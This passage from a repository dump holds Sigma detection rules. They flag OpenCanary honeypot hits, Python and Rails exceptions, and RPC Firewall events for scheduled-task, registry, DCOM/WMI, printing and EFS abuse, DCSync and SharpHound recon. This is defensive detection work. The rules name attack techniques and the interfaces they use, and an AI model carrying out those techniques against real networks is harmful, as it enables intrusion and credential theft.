"content": "title: OpenCanary - SIP Request\nid: e30de276-68ec-435c-ab99-ef3befec6c61\nstatus: test\ndescription: Detects instances where an SIP service on an OpenCanary node has had a SIP request.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.collection\n - attack.t1123\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 15001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_smb_file_open.yml",
"content": "title: OpenCanary - SMB File Open Request\nid: 22777c9e-873a-4b49-855f-6072ab861a52\nstatus: test\ndescription: Detects instances where an SMB service on an OpenCanary node has had a file open request.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.lateral-movement\n - attack.collection\n - attack.t1021\n - attack.t1005\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 5000\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_snmp_cmd.yml",
"content": "title: OpenCanary - SNMP OID Request\nid: e9856028-fd4e-46e6-b3d1-10f7ceb95078\nstatus: test\ndescription: Detects instances where an SNMP service on an OpenCanary node has had an OID request.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.discovery\n - attack.lateral-movement\n - attack.t1016\n - attack.t1021\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 13001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_ssh_login_attempt.yml",
"content": "title: OpenCanary - SSH Login Attempt\nid: ff7139bc-fdb1-4437-92f2-6afefe8884cb\nstatus: test\ndescription: Detects instances where an SSH service on an OpenCanary node has had a login attempt.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.initial-access\n - attack.lateral-movement\n - attack.persistence\n - attack.t1133\n - attack.t1021\n - attack.t1078\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 4002\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_ssh_new_connection.yml",
"content": "title: OpenCanary - SSH New Connection Attempt\nid: cd55f721-5623-4663-bd9b-5229cab5237d\nstatus: test\ndescription: Detects instances where an SSH service on an OpenCanary node has had a connection attempt.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.initial-access\n - attack.lateral-movement\n - attack.persistence\n - attack.t1133\n - attack.t1021\n - attack.t1078\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 4000\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_telnet_login_attempt.yml",
"content": "title: OpenCanary - Telnet Login Attempt\nid: 512cff7a-683a-43ad-afe0-dd398e872f36\nstatus: test\ndescription: Detects instances where a Telnet service on an OpenCanary node has had a login attempt.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.command-and-control\n - attack.t1133\n - attack.t1078\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 6001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_tftp_request.yml",
"content": "title: OpenCanary - TFTP Request\nid: b4e6b016-a2ac-4759-ad85-8000b300d61e\nstatus: test\ndescription: Detects instances where a TFTP service on an OpenCanary node has had a request.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.exfiltration\n - attack.t1041\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 10001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_vnc_connection_attempt.yml",
"content": "title: OpenCanary - VNC Connection Attempt\nid: 9db5446c-b44a-4291-8b89-fcab5609c3b3\nstatus: test\ndescription: Detects instances where a VNC service on an OpenCanary node has had a connection attempt.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.lateral-movement\n - attack.t1021\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 12001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/python/app_python_sql_exceptions.yml",
"content": "title: Python SQL Exceptions\nid: 19aefed0-ffd4-47dc-a7fc-f8b1425e84f9\nstatus: stable\ndescription: Generic rule for SQL exceptions in Python according to PEP 249\nreferences:\n - https://www.python.org/dev/peps/pep-0249/#exceptions\nauthor: Thomas Patzke\ndate: 2017-08-12\nmodified: 2020-09-01\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: python\ndetection:\n keywords:\n - DataError\n - IntegrityError\n - ProgrammingError\n - OperationalError\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: medium\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml",
"content": "title: Remote Schedule Task Lateral Movement via ATSvc\nid: 0fcd1c79-4eeb-4746-aba9-1b458f7a79cb\nstatus: test\ndescription: Detects remote RPC calls to create or execute a scheduled task via ATSvc\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.privilege-escalation\n - attack.lateral-movement\n - attack.execution\n - attack.persistence\n - attack.t1053\n - attack.t1053.002\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:1ff70682-0a51-30e8-076d-740be8cee98b\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 1ff70682-0a51-30e8-076d-740be8cee98b\n OpNum:\n - 0\n - 1\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml",
"content": "title: Remote Schedule Task Recon via AtScv\nid: f177f2bc-5f3e-4453-b599-57eefce9a59c\nstatus: test\ndescription: Detects remote RPC calls to read information about scheduled tasks via AtScv\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931\n - https://github.com/zeronetworks/rpcfirewall\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.discovery\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:1ff70682-0a51-30e8-076d-740be8cee98b\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 1ff70682-0a51-30e8-076d-740be8cee98b\n filter:\n OpNum:\n - 0\n - 1\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml",
"content": "title: Possible DCSync Attack\nid: 56fda488-113e-4ce9-8076-afc2457922c3\nstatus: test\ndescription: Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.t1033\n - attack.discovery\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes, enable DRSR UUID (e3514235-4b06-11d1-ab04-00c04fc2dcd2) for \"dangerous\" opcodes (not 0,1 or 12) only from trusted IPs (DCs)'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: e3514235-4b06-11d1-ab04-00c04fc2dcd2\n filter:\n OpNum:\n - 0\n - 1\n - 12\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml",
"content": "title: Remote Encrypting File System Abuse\nid: 5f92fff9-82e2-48eb-8fc1-8b133556a551\nstatus: test\ndescription: Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR\nreferences:\n - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.lateral-movement\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:df1941c5-fe89-4e79-bf10-463657acf44d or c681d488-d850-11d0-8c52-00c04fd90f7e'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid:\n - df1941c5-fe89-4e79-bf10-463657acf44d\n - c681d488-d850-11d0-8c52-00c04fd90f7e\n condition: selection\nfalsepositives:\n - Legitimate usage of remote file encryption\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml",
"content": "title: Remote Event Log Recon\nid: 2053961f-44c7-4a64-b62d-f6e72800af0d\nstatus: test\ndescription: Detects remote RPC calls to get event log information via EVEN or EVEN6\nreferences:\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.discovery\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:82273fdc-e32a-18c3-3f78-827929dc23ea and uuid:f6beaff7-1e19-4fbb-9f8f-b89e2018337c\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid:\n - 82273fdc-e32a-18c3-3f78-827929dc23ea\n - f6beaff7-1e19-4fbb-9f8f-b89e2018337c\n condition: selection\nfalsepositives:\n - Remote administrative tasks on Windows Events\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml",
"content": "title: Remote Schedule Task Lateral Movement via ITaskSchedulerService\nid: ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d\nstatus: test\ndescription: Detects remote RPC calls to create or execute a scheduled task\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.execution\n - attack.lateral-movement\n - attack.t1053\n - attack.t1053.002\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:86d35949-83c9-4044-b424-db363231fd0c\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 86d35949-83c9-4044-b424-db363231fd0c\n OpNum:\n - 1\n - 3\n - 4\n - 10\n - 11\n - 12\n - 13\n - 14\n - 15\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml",
"content": "title: Remote Schedule Task Recon via ITaskSchedulerService\nid: 7f7c49eb-2977-4ac8-8ab0-ab1bae14730e\nstatus: test\ndescription: Detects remote RPC calls to read information about scheduled tasks\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.discovery\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:86d35949-83c9-4044-b424-db363231fd0c\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 86d35949-83c9-4044-b424-db363231fd0c\n filter:\n OpNum:\n - 1\n - 3\n - 4\n - 10\n - 11\n - 12\n - 13\n - 14\n - 15\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml",
"content": "title: Remote Printing Abuse for Lateral Movement\nid: bc3a4b0c-e167-48e1-aa88-b3020950e560\nstatus: test\ndescription: Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR\nreferences:\n - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.lateral-movement\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:12345678-1234-abcd-ef00-0123456789ab or 76f03f96-cdfd-44fc-a22c-64950a001209 or ae33069b-a2a8-46ee-a235-ddfd339be281 or 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid:\n - 12345678-1234-abcd-ef00-0123456789ab\n - 76f03f96-cdfd-44fc-a22c-64950a001209\n - 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1\n - ae33069b-a2a8-46ee-a235-ddfd339be281\n condition: selection\nfalsepositives:\n - Actual printing\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml",
"content": "title: Remote DCOM/WMI Lateral Movement\nid: 68050b10-e477-4377-a99b-3721b422d6ef\nstatus: test\ndescription: Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.lateral-movement\n - attack.execution\n - attack.t1021.003\n - attack.t1047\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:367abb81-9844-35f1-ad32-98f038001003'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid:\n - 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57\n - 99fcfec4-5260-101b-bbcb-00aa0021347a\n - 000001a0-0000-0000-c000-000000000046\n - 00000131-0000-0000-c000-000000000046\n - 00000143-0000-0000-c000-000000000046\n - 00000000-0000-0000-c000-000000000046\n condition: selection\nfalsepositives:\n - Some administrative tasks on remote host\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml",
"content": "title: Remote Registry Lateral Movement\nid: 35c55673-84ca-4e99-8d09-e334f3c29539\nstatus: test\ndescription: Detects remote RPC calls to modify the registry and possible execute code\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.defense-evasion\n - attack.lateral-movement\n - attack.t1112\n - attack.persistence\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:338cd001-2244-31f1-aaaa-900038001003\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 338cd001-2244-31f1-aaaa-900038001003\n OpNum:\n - 6\n - 7\n - 8\n - 13\n - 18\n - 19\n - 21\n - 22\n - 23\n - 35\n condition: selection\nfalsepositives:\n - Remote administration of registry values\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml",
"content": "title: Remote Registry Recon\nid: d8ffe17e-04be-4886-beb9-c1dd1944b9a8\nstatus: test\ndescription: Detects remote RPC calls to collect information\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.discovery\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:338cd001-2244-31f1-aaaa-900038001003\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 338cd001-2244-31f1-aaaa-900038001003\n filter:\n OpNum:\n - 6\n - 7\n - 8\n - 13\n - 18\n - 19\n - 21\n - 22\n - 23\n - 35\n condition: selection and not filter\nfalsepositives:\n - Remote administration of registry values\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml",
"content": "title: Remote Server Service Abuse\nid: b6ea3cc7-542f-43ef-bbe4-980fbed444c7\nstatus: test\ndescription: Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.lateral-movement\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:4b324fc8-1670-01d3-1278-5a47bf6ee188'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 4b324fc8-1670-01d3-1278-5a47bf6ee188\n condition: selection\nfalsepositives:\n - Legitimate remote share creation\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml",
"content": "title: Remote Server Service Abuse for Lateral Movement\nid: 10018e73-06ec-46ec-8107-9172f1e04ff2\nstatus: test\ndescription: Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.lateral-movement\n - attack.execution\n - attack.t1569.002\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:367abb81-9844-35f1-ad32-98f038001003'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 367abb81-9844-35f1-ad32-98f038001003\n condition: selection\nfalsepositives:\n - Administrative tasks on remote services\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml",
"content": "title: Remote Schedule Task Lateral Movement via SASec\nid: aff229ab-f8cd-447b-b215-084d11e79eb0\nstatus: test\ndescription: Detects remote RPC calls to create or execute a scheduled task via SASec\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.privilege-escalation\n - attack.lateral-movement\n - attack.execution\n - attack.persistence\n - attack.t1053\n - attack.t1053.002\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:378e52b0-c0a9-11cf-822d-00aa0051e40f\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 378e52b0-c0a9-11cf-822d-00aa0051e40f\n OpNum:\n - 0\n - 1\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml",
"content": "title: Recon Activity via SASec\nid: 0a3ff354-93fc-4273-8a03-1078782de5b7\nstatus: test\ndescription: Detects remote RPC calls to read information about scheduled tasks via SASec\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.discovery\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:378e52b0-c0a9-11cf-822d-00aa0051e40f\"'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 378e52b0-c0a9-11cf-822d-00aa0051e40f\n filter:\n OpNum:\n - 0\n - 1\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml",
"content": "title: SharpHound Recon Account Discovery\nid: 65f77b1e-8e79-45bf-bb67-5988a8ce45a5\nstatus: test\ndescription: Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.t1087\n - attack.discovery\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:6bffd098-a112-3610-9833-46c3f87e345a opnum:2'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 6bffd098-a112-3610-9833-46c3f87e345a\n OpNum: 2\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml",
"content": "title: SharpHound Recon Sessions\nid: 6d580420-ff3f-4e0e-b6b0-41b90c787e28\nstatus: test\ndescription: Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.\nreferences:\n - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183\n - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md\n - https://github.com/zeronetworks/rpcfirewall\n - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\nauthor: Sagie Dulce, Dekel Paz\ndate: 2022-01-01\ntags:\n - attack.discovery\n - attack.t1033\nlogsource:\n product: rpc_firewall\n category: application\n definition: 'Requirements: install and apply the RPC Firewall to all processes with \"audit:true action:block uuid:4b324fc8-1670-01d3-1278-5a47bf6ee188 opnum:12'\ndetection:\n selection:\n EventLog: RPCFW\n EventID: 3\n InterfaceUuid: 4b324fc8-1670-01d3-1278-5a47bf6ee188\n OpNum: 12\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/application/ruby/appframework_ruby_on_rails_exceptions.yml",
"content": "title: Ruby on Rails Framework Exceptions\nid: 0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a\nstatus: stable\ndescription: Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts\nreferences:\n - http://edgeguides.rubyonrails.org/security.html\n - http://guides.rubyonrails.org/action_controller_overview.html\n - https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception\n - https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb\nauthor: Thomas Patzke\ndate: 2017-08-06\nmodified: 2020-09-01\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: ruby_on_rails\ndetection:\n keywords:\n - ActionController::InvalidAuthenticityToken\n - ActionController::InvalidCrossOriginRequest\n - ActionController::MethodNotAllowed\n - ActionController::BadRequest\n - ActionController::ParameterMissing\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: medium\n"
},
{
"path": "rules/application/spring/spring_application_exceptions.yml",
